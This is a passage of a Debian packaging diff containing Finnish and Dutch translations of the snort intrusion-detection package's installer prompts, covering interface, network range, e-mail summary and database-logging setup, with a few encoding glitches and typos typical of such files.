+"Lokien tietokantaan kirjoittaminen voidaan asettaa myöhemmin ajamalla "
+"komento ”dpkg-reconfigure -plow snort-pgsql”."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <tunnus> -h <kone> -W <tietokanta>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Täytä oikeat arvot kohtiin tunnus, kone ja tietokannan nimi. PostgreSQL "
+"pyytää tämän jälkeen salasanan."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Vanhentunut asetustiedosto"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Snortin asetustiedostossa (/etc/snort/snort.conf) on käytetty valitsimia, "
+"jotka eivät enää ole käytössä tässä Snortin julkaisussa. Snortia ei voida "
+"käynnistää ilman kelvollista asetustiedostoa. Asetustiedosto voidaan joko "
+"korvata tämän paketin mukana tulleella tai se voidaan korjata käsin "
+"poistamalla vanhentuneet valitsimet."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Asetustiedostosta löytyi seuraavat käytöstä poistetut valitsimet:\n"
+" ${DEB_CONFIG}."
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Snortia ajetaan manuaalisesti"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Asetuksissa on virhe"
--- snort-2.7.0.orig/debian/po/nl.po
+++ snort-2.7.0/debian/po/nl.po
@@ -0,0 +1,919 @@
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+# Developers do not need to manually edit POT or PO files.
+# Bart Cornelis <cobaco@linux.be>, 2005.
+#
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-06 09:33+0200\n"
+"Last-Translator: Peter Vandenabeele <peter@vandenabeele.com>\n"
+"Language-Team: debian-l10n-dutch <debian-l10n-dutch@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=iso-8859-15\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "opstarten"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "inbellen"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manueel"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Snort opstart methode:"
+
+#  Type: select
+#  Description
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort kan opgestart worden tijdens het opstarten van de computer, bij het "
+"openen van de netwerkverbinding door pppd of wanneer u het handmatig opstart."
+"via /usr/bin/snort."
+
+#  Type: string
+#  Description
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Op welke interface(s) moet Snort luisteren?"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Deze waarde is normaal 'eth0', maar misschien wil u dit aanpassen "
+"afhankelijk van uw omgeving. Als u een inbelverbinding gebruikt, is 'ppp0' "
+"misschien meer geschikt (hint: gebruik 'ip link show' of 'ifconfig')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Deze interface is normaal dezelfde die de 'default route' heeft. Om te "
+"bepalen welke interface gebruikt wordt, kunt u '/sbin/route -n' uitvoeren"
+"(zoek naar '0.0.0.0')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Het is ook niet ongewoon om Snort te draaien op een interface zonder IP "
+"adres en geconfigureerd in promiscue modus. In dat geval, selecteert u de "
+"interface die fysiek verbonden is met het netwerk dat u wilt onderzoeken, "
+"activeert u later de promiscue modus en verzekert u zich ervan dat het "
+"netwerkverkeer naar deze interface verzonden wordt (verbonden via een 'port "
+"mirroring/spanning'-poort op een switch, via een hub, of via een tap)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"U kunt hier verschillende interfaces defini�ren, door meer dan ��n naam van "
+"een interface te vermelden, gescheiden door spaties. Elke interface kan zijn "
+"eigen specifieke configuratie hebben."
+
+#  Type: string
+#  Description
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Adresbereik waarop Snort zal luisteren?"
+
+#  Type: string
+#  Description
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"U dient de CIDR-vorm te gebruiken (dit is 192.168.1.0/24 voor een blok van "
+"256 IP-adressen of 192.168.1.42/32 voor ��n enkel IP-adres). U kunt meerdere "
+"adressen opgeven op ��n regel door ze te scheiden met kommas; spaties zijn "
+"hierbij niet toegestaan!"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Merk op dat als u meerdere interfaces gebruikt, deze definitie gebruikt zal "
+"worden als de HOME_NET definitie van al deze interfaces."
+
+#  Type: boolean
+#  Description
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Wilt u dat Snort de promiscue modus van de interface uitschakelt?"
+
+#  Type: boolean
+#  Description
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Uitschakelen van de promiscue modus betekent dat Snort enkel die pakketten "
+"ziet die bestemd zijn voor zijn eigen interface. Het inschakelen van de "
+"promiscue modus laat Snort toe om elk op dit ethernet-segment langskomend "
+"pakket te controleren, zelfs als het een pakket is van een verbinding tussen "
+"twee andere computers."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Ongeldige interface"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort probeert een interface te gebruiken die niet bestaat of die niet "
+"actief is. Ofwel gebruikt Snort onterecht de standaard interface 'eth0', or "
+"heb je een interface opgegeven die niet correct is."
+
+#  Type: boolean
+#  Description
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr ""
+"Moet de volgorde van het testen van de regels van Snort aangepast worden "
+"naar Pass|Alert|Log (doorlaten|alarmeren|loggen)?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"De standaard test volgorde van Snort is Alert|Pass|Log (Verwittigen|"
+"Doorlaten|Loggen); als je deze optie accepteert, zal de volgorde gewijzigd "
+"worden in Pass|Alert|Log (Doorlaten|Verwittigen|Loggen)' dit kan het "
+"eenvoudiger maken om Snort te gebruiken met sommige pakket filtering "
+"programma's."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Moeten de dagelijkse samenvattingen per e-mail worden verstuurd ?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Een cron job kan opgezet worden om dagelijks samenvattingen van Snort logs "
+"naar een bepaald e-mail adres te sturen."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Gelieve te kiezen als u deze optie wil activeren."
+
+#  Type: string
+#  Description
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Ontvanger van de dagelijkse statistiekmails:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Gelieve het e-mail adres op te geven dat de dagelijkse samenvatting van de "
+"Snort logs moet ontvangen."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Extra eigen opties:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Gelieve eventuele additionele opties te geven die Snort moet gebruiken"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Minimum aantal keren voorkomen om alarmen te rapporteren:"
+
+#  Type: string
+#  Description
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Een waarschuwing dient vaker dan het hier opgegeven aantal keren voor te "
+"komen opdat die weergegeven zou worden in de dagelijkse statistieken."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Een herstart van Snort is vereist"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Vermits Snort normaal manueel wordt gestart, moet u '/etc/init.d/snort' "
+"uitvoeren om de aanpassingen door te voeren."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Configuratiefout"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"De huidige Snort configuratie is ongeldig en zal verhinderen dat Snort "
+"normaal wordt opgestart. Gelieve de configuratie na te kijken en te "
+"corrigeren."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Om een fout in een Snort congifuratiebestand te analyseren, gebruik '/usr/"
+"sbin/snort -T -c <file>'"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Verouderd configuratie bestand"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Uw systeem heeft een verouderd configuratiebestand (/etc/snort/snort.common."
+"parameters) dat nu automatisch is omgezet in een nieuw "
+"configuratiebestandsformaat (in /etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Kijkt u aub het nieuwe configuratiebestand na en verwijder het verouderde "
+"bestand. Tot u dit doet, zal het init.d script de nieuwe configratie niet "
+"gebruiken en zal u niet kunnen genieten van de voordelen die de nieuwere "
+"versies bieden."
+
+#  Type: boolean
+#  Description
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr ""
+"Wilt u een een database opzetten waar snort-mysql het logboek in kan "
+"bijhouden?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Er is geen databank opgezet voor Snort om naar te loggen. Voor u verder kan "
+"gaan, moet u deze eerst opzetten:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - de server host naam (die server met TCP verbindingen van deze machine "
+"accepteren) - een database op die server - een gebruikersnaam en paswoord om "
+"toegang te krijgen tot de databank"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Als sommige van deze noodzakelijke elementen ontbreken, gebruik dan deze "
+"optie niet en draai Snort met gewone logging naar een bestand"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Logging naar een databank kan later ook nog geconfigureerd worden met het "
+"commando 'dpkg-reconfigure -plow snort-mysql'"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Database server hostnaam:"
+
+#  Type: string
+#  Description
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Gelieve een hostnaam voor de databank server op te geven. U dient ervoorte "
+"zorgen dat deze correct is ingesteld is om inkomende verbindingen vandeze "
+"computer te aanvaarden!"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Databanknaam:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Gelieve de naam van een bestaande databank op te geven waarnaar de databank "
+"gebruiker schrijftoegang heeft"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "gebruikersnaam (account) voor database toegang:"
+
+#  Type: string
+#  Description
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Gelieve een databank gebruikersnaam op te geven met schrijfrechten in de "
+"databank:"
+
+#  Type: password
+#  Description
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Gelieve het paswoord voor de databaseverbinding in te geven:"
+
+#  Type: password
+#  Description
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Wat is het wachtwoord om verbinding te maken met de Snort-Alert databank?"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Een geconfigureerde databank is noodzakelijk voor Snort"
+
+#  Type: note
+#  Description
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort heeft een geconfigureerde database nodig voor het succesvol kan "
+"opstarten. Om de structuur aan te maken, moet u volgende commando's "
+"uitvoeren NADAT het pakket is geinstalleerd:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+"cd�/usr/share/doc/snort-mysql/zcat�create_mysql.gz�|�mysql�-u�<user>�-"
+"h�<host>�-p�<databasename>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Vul de correcte waarden in voor gebruiker, host en databank namen. MySQL zal "
+"u vragen naar het paswoord."
+
+#  Type: note
+#  Description
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Nadat u de databank struktuur heeft aangemaakt, moet u Snort manueel starten."
+
+#  Type: boolean
+#  Description
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr ""
+"Wilt u een database opzetten waar snort-pgsql het logboek in kan bijhouden?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Logging naar een databank kan later geherconfigureerd worden met het "
+"commando'dpkg-reconfigure -plow snort-pgslq'"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+"�cd�/usr/share/doc/snort-pgsql/�zcat�create_postgresql.gz�|�psql�-U�<user>�-"
+"h�<host>�-W�<databasename>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Vul de correcte waarden in voor gebruiker, host en databank namen.PostgreSQL "
+"zal u later vragen om het paswoord."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Verouderd configuratie bestand"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Uw snort-configuratiebestand (/etc/snort/snort.conf) maakt gebruik van "
+"verouderde opties die door deze versie niet meer ondersteund worden. Met een "
+"onjuist configuratiebestand kan Snort niet opstarten. U kunt uw bestaande "
+"configuratiebestand vervangen met het door dit pakket meegeleverde bestand, "
+"of u kunt de verouderde opties handmatig verwijderen."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid ""
+#| "The following deprecated options were found in the configuration file: "
+#| "${DEP_CONFIG}."
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"De volgende verouderde opties werden in uw configuratiebestand aangetroffen: "
+"${DEP_CONFIG}"
+
+#  Type: note
+#  Description
+#~ msgid "You are running Snort manually"
+#~ msgstr "U voert Snort handmatig uit."
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Er is een fout in uw configuratie"
+
+#  Type: select
+#  Choices
+#~ msgid "boot, dialup, manual"
+#~ msgstr "bij het opstarten, bij het inbellen, handmatig"
+
+#  Type: select
+#  Description
+#~ msgid "When should Snort be started?"
+#~ msgstr "Wanneer dient Snort opgestart te worden?"
+
+#  Type: string
+#  Description
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Wanneer u geen enkel deel van het netwerk wilt vertrouwen, kunt 'any' "
+#~ "opgeven."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Een van de interfaces die u hebt gespecifieerd is niet geldig "
+#~ "(misschienbestaat het niet op het systeem of is het niet actief). Gelieve "
+#~ "een geldigeinterface op te geven wanneer u de vraag beantwoordt op welke "
+#~ "interfacesSnort moet luisteren."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "Als u geen interface hebt geconfigureerd, dan zal het programma "
+#~ "proberenom de standaard interface ('eth0') te gebruiken die niet actief "
+#~ "schijnt te zijnop dit systeem."
+
+#  Type: boolean
+#  Description
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Wanneer u de volgorde van het testen van de regels van Snort verandert "
+#~ "naar 'Pass|Alert|Log', zullen de regels toegepast worden in de volgorde "
+#~ "Pass->Alert->Log, in plaats van Alert->Pass->Log. Dit voorkomt dat men "
+#~ "enorme 'Berky Packet Filter' commandoregel-argumenten dient te gebruiken "
+#~ "om de 'alert'-regels uit te filteren."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Deze Snort installatie voorziet een cron job die dagelijks loopt en diede "
+#~ "informatie van de Snort logs samenvat en verstuurt naar een geselecteerd "
+#~ "e-mail adres. Als u deze functie wil desactiveren, zegt udan 'no' bij "
+#~ "deze functie."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Een dagelijks uitgevoerde taak (cron job) vat de informatie in de door "
+#~ "snort gegenereerde logboeken samen met een script (genaamd 'snort-stat'). "
+#~ "Hier geeft u aan wie deze e-mails zal ontvangen. De standaardwaarde is de "
+#~ "systeembeheerder. Als u dit zo laat, dient u ervoor te zorgen dat de e-"
+#~ "mail van de beheerder omgeleid wordt naar een gebruiker die deze "
+#~ "berichten ook daadwerkelijk nakijkt."
+
+#  Type: string
+#  Description
+#~| msgid ""
+#~| "If you want to specify custom options to Snort, please specify them here."
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "Als u speciale opties aan Snort wil meegeven, kunt u deze hier opgeven."
+
+#  Type: note
+#  Description
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Gelieve Snort te herstarten via:\n"
+#~ " /etc/init.d/snort restart\n"
+#~ "om de instellingen in werking te doen treden."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "Uw Snort configuratie is niet correct en Snort zal niet in staat zijn om "
+#~ "normaal op te starten. Gelieve uw configuratiebestand na te kijken en te "
+#~ "corrigeren. Als u dit niet doet, zullen latere opwaarderingen "
+#~ "vermoedelijk niet correct werken. Voer dan '/usr/sbin/snort -T -c /etc/"
+#~ "snort/snort.conf' uit om te controleren welke fout wordt gegenereerd (of "
+#~ "verwijs naar een alternatief configuratiebestand als u verschillende "
+#~ "configuratiebestanden gebruikt voor verschillende interfaces)."
+
+#  Type: boolean
+#  Description
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Dit dient enkel de eerste keer dat u snort-mysql installeert te gebeuren. "
+#~ "Voordat u verder gaat, dient u over de volgende informatie te "
+#~ "beschikken:\n"
+#~ "  (1) de computernaam van een mysql-databaseserver die verbindingen van "
+#~ "deze machine aanvaardt\n"
+#~ "  (2) een database op die server\n"
+#~ "  (3) een gebruikersnaam en wachtwoord die toegang verlenen tot die "
+#~ "database\n"
+#~ "Als u niet over _al_ deze informatie beschikt, kunt u daar ofwel eerst "
+#~ "voor zorgen, ofwel 'nee' kiezen en het logboek gewoon in een bestand "
+#~ "opslaan. U kunt het databaselogboek altijd later instellen via het "
+#~ "commando 'dpkg-reconfigure -plow snort-mysql'"
+
+#  Type: string
+#  Description
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "U dient ervoor te zorgen dat deze gebruiker aangemaakt is en "
+#~ "schrijfrechten heeft."
+
+#  Type: note
+#  Description
+#~| msgid "Snort needs a configured database to log to before it starts."
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "Snort heeft een geconfigureerde database nodig voor het logboek vóór "
+#~ "het kan starten."
+
+#  Type: boolean
+#  Description
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
